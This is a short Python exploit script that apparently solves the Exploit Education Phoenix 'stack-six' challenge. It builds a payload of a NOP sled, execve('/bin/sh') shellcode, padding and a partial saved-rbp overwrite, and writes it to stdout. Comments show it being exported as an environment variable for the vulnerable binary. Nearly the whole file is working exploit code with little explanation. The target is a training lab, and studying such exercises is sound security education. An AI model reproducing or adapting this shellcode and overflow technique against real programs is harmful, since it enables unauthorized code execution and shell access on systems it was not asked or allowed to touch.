#! /usr/bin/python3

import sys

shellcode=b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
nop=b"\x90"* 10 
junk=b"A"*(126-len(shellcode+nop))

payload=[
        nop,
        shellcode,
        junk,
        b"\xd0" # set up rbp to an addres where rbp+0x8 points to shellcode
        ]

payload = b"".join(payload)

sys.stdout.buffer.write(payload)

# export ExploitEducation=$(python3 asd.py)
# /opt/phoenix/amd64/stack-six
# hack the planet
